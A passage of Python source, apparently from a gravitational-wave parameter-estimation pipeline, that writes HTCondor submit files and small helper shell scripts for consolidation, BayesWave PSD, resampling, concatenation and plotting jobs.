ile_job.add_condor_cmd("+OpenScienceGrid",'True') if use_cvmfs_frames: transfer_files += ["../local.cache"] # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") if not transfer_files is None: if not isinstance(transfer_files, list): fname_str=transfer_files else: fname_str = ','.join(transfer_files) fname_str=fname_str.strip() ile_job.add_condor_cmd('transfer_input_files', fname_str) ile_job.add_condor_cmd('should_transfer_files','YES') if not transfer_output_files is None: if not isinstance(transfer_output_files, list): fname_str=transfer_output_files else: fname_str = ','.join(transfer_output_files) fname_str=fname_str.strip() ile_job.add_condor_cmd('transfer_output_files', fname_str) # Periodic remove: kill jobs running longer than max runtime # https://stackoverflow.com/questions/5900400/maximum-run-time-in-condor if not(max_runtime_minutes is None): remove_str = 'JobStatus =?= 2 && (CurrentTime - JobStartDate) > ( {})'.format(60*max_runtime_minutes) ile_job.add_condor_cmd('periodic_remove', remove_str) ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e if condor_commands is not None: for cmd, value in condor_commands.iteritems(): ile_job.add_condor_cmd(cmd, value) return ile_job, ile_sub_name def write_consolidate_sub_simple(tag='consolidate', exe=None, base=None,target=None,universe="vanilla",arg_str=None,log_dir=None, use_eos=False,ncopies=1,no_grid=False, **kwargs): """ Write a submit file for launching a consolidation job util_ILEdagPostprocess.sh # suitable for ILE consolidation. arg_str # add argument (used for NR postprocessing, to identify group) """ exe = exe or which("util_ILEdagPostprocess.sh") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # Add manual options for input, output ile_job.add_arg(base) # what directory to load ile_job.add_arg(target) # where to put the output (label), in CWD # # NO OPTIONS # # arg_str = arg_str.lstrip() # remove leading whitespace and minus signs # arg_str = arg_str.lstrip('-') # ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") ### ### SUGGESTION FROM STUART (for later) # request_memory = ifthenelse( (LastHoldReasonCode=!=34 && LastHoldReasonCode=!=26), InitialRequestMemory, int(1.5 * NumJobStarts * MemoryUsage) ) # periodic_release = ((HoldReasonCode =?= 34) || (HoldReasonCode =?= 26)) # This will automatically release a job that is put on hold for using too much memory with a 50% increased memory request each tim.e return ile_job, ile_sub_name def write_unify_sub_simple(tag='unify', exe=None, base=None,target=None,universe="vanilla",arg_str=None,log_dir=None, use_eos=False,ncopies=1,no_grid=False, **kwargs): """ Write a submit file for launching a consolidation job util_ILEdagPostprocess.sh # suitable for ILE consolidation. arg_str # add argument (used for NR postprocessing, to identify group) """ exe = exe or which("util_CleanILE.py") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors # Write unify.sh # - problem of globbing inside condor commands # - problem that *.composite files from intermediate results will generally NOT be present cmdname ='unify.sh' base_str = '' if not (base is None): base_str = ' ' + base +"/" with open(cmdname,'w') as f: f.write("#! /usr/bin/env bash\n") f.write( "ls " + base_str+"*.composite 1>&2 \n") # write filenames being concatenated to stderr f.write( exe + base_str+ "*.composite \n") st = os.stat(cmdname) import stat os.chmod(cmdname, st.st_mode | stat.S_IEXEC) ile_job = pipeline.CondorDAGJob(universe=universe, executable=base_str+cmdname) # force full prefix requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # Add manual options for input, output # ile_job.add_arg('*.composite') # what to do # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(target) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_convert_sub(tag='convert', exe=None, file_input=None,file_output=None,universe="vanilla",arg_str='',log_dir=None, use_eos=False,ncopies=1, no_grid=False,**kwargs): """ Write a submit file for launching a 'convert' job convert_output_format_ile2inference """ exe = exe or which("convert_output_format_ile2inference") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) if not(arg_str is None or len(arg_str)<2): arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_arg(file_input) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(file_output) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_test_sub(tag='converge', exe=None,samples_files=None, base=None,target=None,universe="target",arg_str=None,log_dir=None, use_eos=False,ncopies=1, **kwargs): """ Write a submit file for launching a convergence test job """ exe = exe or which("convergence_test_samples.py") ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # Add options for two parameter files for name in samples_files: # ile_job.add_opt("samples",name) # do not add in usual fashion, because otherwise the key's value is overwritten ile_job.add_opt("samples " + name,'') # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(target) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_plot_sub(tag='converge', exe=None,samples_files=None, base=None,target=None,arg_str=None,log_dir=None, use_eos=False,ncopies=1, **kwargs): """ Write a submit file for launching a final plot. Note the user can in principle specify several samples (e.g., several iterations, if we want to diagnose them) """ exe = exe or which("plot_posterior_corner.py") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # Add options for two parameter files for name in samples_files: # ile_job.add_opt("samples",name) # do not add in usual fashion, because otherwise the key's value is overwritten ile_job.add_opt("posterior-file " + name,'') # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(target) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_init_sub(tag='gridinit', exe=None,arg_str=None,log_dir=None, use_eos=False,ncopies=1, **kwargs): """ Write a submit file for launching a grid initialization job. Note this routine MUST create whatever files are needed by the ILE iteration """ exe = exe or which("util_ManualOverlapGrid.py") ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_psd_sub_BW_monoblock(tag='PSD_BW_mono', exe=None, log_dir=None, ncopies=1,arg_str=None,request_memory=4096,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,singularity_image=None,frames_dir=None,cache_file=None,psd_length=4,srate=4096,data_start_time=None,event_time=None,universe='local',no_grid=False,**kwargs): """ Write a submit file for constructing the PSD using BW Modern argument syntax for BW Note that *all ifo-specific results must be set outside this loop*, to work sensibly, and passed as an argument Inputs: - channel_dict['H1'] = [channel_name, flow_ifo] Outputs: - An instance of the CondorDAGJob that was generated for BW """ exe = exe or which("BayesWave") if exe is None: print(" BayesWave not available, hard fail ") sys.exit(0) frames_local = None ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Loop over IFOs # You should only have one, in the workflow for which this is intended # Problem: ile_job.add_arg("$(macroargument0)") # # Add mandatory options ile_job.add_opt('Niter', '1000100') ile_job.add_opt('Nchain', '20') ile_job.add_opt('Dmax', '200') # limit number of dimensions in model ile_job.add_opt('resume', '') ile_job.add_opt('progress', '') ile_job.add_opt('checkpoint', '') ile_job.add_opt('bayesLine', '') ile_job.add_opt('cleanOnly', '') ile_job.add_opt('updateGeocenterPSD', '') ile_job.add_opt('dataseed', '1234') # make reproducible ile_job.add_opt('trigtime', str(event_time)) ile_job.add_opt('psdstart', str(event_time-(psd_length-2))) ile_job.add_opt('segment-start', str(event_time-(psd_length-2))) ile_job.add_opt('seglen', str(psd_length)) ile_job.add_opt('psdlength', str(psd_length)) ile_job.add_opt('srate', str(srate)) ile_job.add_opt('outputDir', 'output_$(ifo)') # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_psd_sub_BW_step1(tag='PSD_BW_post', exe=None, log_dir=None, ncopies=1,arg_str=None,request_memory=4096,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,singularity_image=None,frames_dir=None,cache_file=None,channel_dict=None,psd_length=4,srate=4096,data_start_time=None,event_time=None,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: - channel_dict['H1'] = [channel_name, flow_ifo] Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("BayesWavePost") if exe is None: print(" BayesWavePost not available, hard fail ") import sys sys.exit(0) frames_local = None ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add mandatory options ile_job.add_opt('checkpoint', '') ile_job.add_opt('bayesLine', '') ile_job.add_opt('cleanOnly', '') ile_job.add_opt('updateGeocenterPSD', '') ile_job.add_opt('Nchain', '20') ile_job.add_opt('Niter', '4000000') ile_job.add_opt('Nbayesline', '2000') ile_job.add_opt('dataseed', '1234') # make reproducible ile_job.add_opt('trigtime', str(event_time)) ile_job.add_opt('psdstart', str(event_time-(psd_length-2))) ile_job.add_opt('segment-start', str(event_time-(psd_length-2))) ile_job.add_opt('seglen', str(psd_length)) ile_job.add_opt('srate', str(srate)) # # Loop over IFOs # Not needed, can do one job per PSD # ile_job.add_opt("ifo","$(ifo)") # ile_job.add_opt("$(ifo)-cache",cache_file) for ifo in channel_dict: channel_name, channel_flow = channel_dict[ifo] ile_job.add_arg("--ifo "+ ifo) # need to prevent overwriting! ile_job.add_opt(ifo+"-channel", ifo+":"+channel_name) ile_job.add_opt(ifo+"-cache", cache_file) ile_job.add_opt(ifo+"-flow", str(channel_flow)) # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_psd_sub_BW_step0(tag='PSD_BW', exe=None, log_dir=None, ncopies=1,arg_str=None,request_memory=4096,arg_vals=None, transfer_files=None,transfer_output_files=None,use_singularity=False,use_osg=False,singularity_image=None,frames_dir=None,cache_file=None,channel_dict=None,psd_length=4,srate=4096,data_start_time=None,event_time=None,**kwargs): """ Write a submit file for launching jobs to marginalize the likelihood over intrinsic parameters. Inputs: - channel_dict['H1'] = [channel_name, flow_ifo] Outputs: - An instance of the CondorDAGJob that was generated for ILE """ exe = exe or which("BayesWave") if exe is None: print(" BayesWave not available, hard fail ") sys.exit(0) frames_local = None ile_job = pipeline.CondorDAGJob(universe="vanilla", executable=exe) # This is a hack since CondorDAGJob hides the queue property ile_job._CondorJob__queue = ncopies ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) requirements =[] # # Logging options # uniq_str = "$(macroevent)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) # # Add mandatory options ile_job.add_opt('checkpoint', '') ile_job.add_opt('bayesLine', '') ile_job.add_opt('cleanOnly', '') ile_job.add_opt('updateGeocenterPSD', '') ile_job.add_opt('Nchain', '20') ile_job.add_opt('Niter', '4000000') ile_job.add_opt('Nbayesline', '2000') ile_job.add_opt('dataseed', '1234') # make reproducible ile_job.add_opt('trigtime', str(event_time)) ile_job.add_opt('psdstart', str(event_time-(psd_length-2))) ile_job.add_opt('segment-start', str(event_time-(psd_length-2))) ile_job.add_opt('seglen', str(psd_length)) ile_job.add_opt('srate', str(srate)) # # Loop over IFOs for ifo in channel_dict: channel_name, channel_flow = channel_dict[ifo] ile_job.add_arg("--ifo " + ifo) ile_job.add_opt(ifo+"-channel", ifo+":"+channel_name) ile_job.add_opt(ifo+"-cache", cache_file) ile_job.add_opt(ifo+"-flow", str(channel_flow)) ile_job.add_opt(ifo+"-timeslide", str(0.0)) # Add lame initial argument if "output_file" in kwargs and kwargs["output_file"] is not None: # # Need to modify the output file so it's unique # ofname = kwargs["output_file"].split(".") ofname, ext = ofname[0], ".".join(ofname[1:]) ile_job.add_file_opt("output-file", "%s-%s.%s" % (ofname, uniq_str, ext)) del kwargs["output_file"] if "save_samples" in kwargs and kwargs["save_samples"] is True: ile_job.add_opt("save-samples", None) del kwargs["save_samples"] # # Add normal arguments # FIXME: Get valid options from a module # for opt, param in list(kwargs.items()): if isinstance(param, list) or isinstance(param, tuple): # NOTE: Hack to get around multiple instances of the same option for p in param: ile_job.add_arg("--%s %s" % (opt.replace("_", "-"), str(p))) elif param is True: ile_job.add_opt(opt.replace("_", "-"), None) elif param is None or param is False: continue else: ile_job.add_opt(opt.replace("_", "-"), str(param)) ile_job.add_condor_cmd('getenv', 'True') ile_job.add_condor_cmd('request_memory', str(request_memory)) # Write requirements # From https://github.com/lscsoft/lalsuite/blob/master/lalinference/python/lalinference/lalinference_pipe_utils.py ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_resample_sub(tag='resample', exe=None, file_input=None,file_output=None,universe="vanilla",arg_str='',log_dir=None, use_eos=False,ncopies=1, no_grid=False,**kwargs): """ Write a submit file for launching a 'resample' job util_ResampleILEOutputWithExtrinsic.py """ exe = exe or which("util_ResampleILEOutputWithExtrinsic.py") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) if not(arg_str is None or len(arg_str)<2): arg_str = arg_str.lstrip() # remove leading whitespace and minus signs arg_str = arg_str.lstrip('-') ile_job.add_opt(arg_str,'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line # ile_job.add_opt(arg_str[2:],'') # because we must be idiotic in how we pass arguments, I strip off the first two elements of the line ile_job.add_opt('fname',file_input) ile_job.add_opt('fname-out',file_output) # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file(file_output) ile_job.add_condor_cmd('getenv', 'True') # To change interactively: # condor_qedit # for example: # for i in `condor_q -hold | grep oshaughn | awk '{print $1}'`; do condor_qedit $i RequestMemory 30000; done; condor_release -all ile_job.add_condor_cmd('requirements', '&&'.join('({0})'.format(r) for r in requirements)) # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_cat_sub(tag='cat', exe=None, file_prefix=None,file_postfix=None,file_output=None,universe="vanilla",arg_str='',log_dir=None, use_eos=False,ncopies=1, no_grid=False,**kwargs): """ Write a submit file for launching a 'resample' job util_ResampleILEOutputWithExtrinsic.py """ exe = exe or which("find") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors exe_switch = which("switcheroo") # tool for patterend search-replace, to fix first line of output file cmdname = 'catjob.sh' with open(cmdname,'w') as f: f.write("#! /bin/bash\n") f.write(exe+" . -name '"+file_prefix+"*"+file_postfix+"' -exec cat {} \; | sort -r | uniq > "+file_output+";\n") f.write(exe_switch + " 'm1 ' '# m1 ' "+file_output) # add standard prefix os.system("chmod a+x "+cmdname) ile_job = pipeline.CondorDAGJob(universe=universe, executable='catjob.sh') requirements=[] if universe=='local': requirements.append("IS_GLIDEIN=?=undefined") # no grid if no_grid: ile_job.add_condor_cmd("+DESIRED_SITES",'"nogrid"') ile_job.add_condor_cmd("+flock_local",'true') ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) # ile_job.add_arg(" . -name '" + file_prefix + "*" +file_postfix+"' -exec cat {} \; ") # # Logging options # uniq_str = "$(macromassid)-$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_convertpsd_sub(tag='convert_psd', exe=None, ifo=None,file_input=None,target_dir=None,arg_str='',log_dir=None, universe='local',**kwargs): """ Write script to convert PSD from one format to another. Needs to be called once per PSD file being used. """ exe = exe or which("convert_psd_ascii2xml") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) ile_job.add_opt("fname-psd-ascii",file_input) ile_job.add_opt("ifo",ifo) ile_job.add_arg("--conventional-postfix") # # Logging options # uniq_str = "$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) ile_job.set_stdout_file("%s%s-%s.out" % (log_dir, tag, uniq_str)) if not (target_dir is None): # Copy output PSD into place ile_job.add_condor_cmd("+PostCmd", '" cp '+ifo+'-psd.xml.gz ' + target_dir +'"') ile_job.add_condor_cmd('getenv', 'True') try: ile_job.add_condor_cmd('accounting_group',os.environ['LIGO_ACCOUNTING']) ile_job.add_condor_cmd('accounting_group_user',os.environ['LIGO_USER_NAME']) except: print(" LIGO accounting information not available. You must add this manually to integrate.sub !") return ile_job, ile_sub_name def write_joingrids_sub(tag='join_grids', exe=None, universe='vanilla', input_pattern=None,target_dir=None,output_base=None,log_dir=None,n_explode=1, gzip="/usr/bin/gzip", old_add=True, **kwargs): """ Write script to convert PSD from one format to another. Needs to be called once per PSD file being used. """ exe = exe or which("ligolw_add") # like cat, but properly accounts for *independent* duplicates. (Danger if identical). Also strips large errors # exe_here = "my_join.sh" # with open(exe_here,'w') as f: # f.write("#! /bin/bash \n") # f.write(r""" # #!/bin/bash # # Modules and scripts run directly from repository # # Note the repo and branch are self-referential ! Not a robust solution long-term # # Exit on failure: # # set -e # {} {} > {}/{}.xml # gzip {}.{}.xml""".format(exe,input_pattern,target_dir,output_base,target_dir,output_base) ) # os.system("chmod a+x "+exe_here) # exe = exe_here # update executable ile_job = pipeline.CondorDAGJob(universe=universe, executable=exe) ile_sub_name = tag + '.sub' ile_job.set_sub_file(ile_sub_name) fname_out =target_dir + "/" +output_base + ".xml.gz" ile_job.add_arg("--output="+fname_out) working_dir = log_dir.replace("/logs", '') # assumption about workflow/naming! Danger! # # Logging options # uniq_str = "$(cluster)-$(process)" ile_job.set_log_file("%s%s-%s.log" % (log_dir, tag, uniq_str)) ile_job.set_stderr_file("%s%s-%s.err" % (log_dir, tag, uniq_str)) 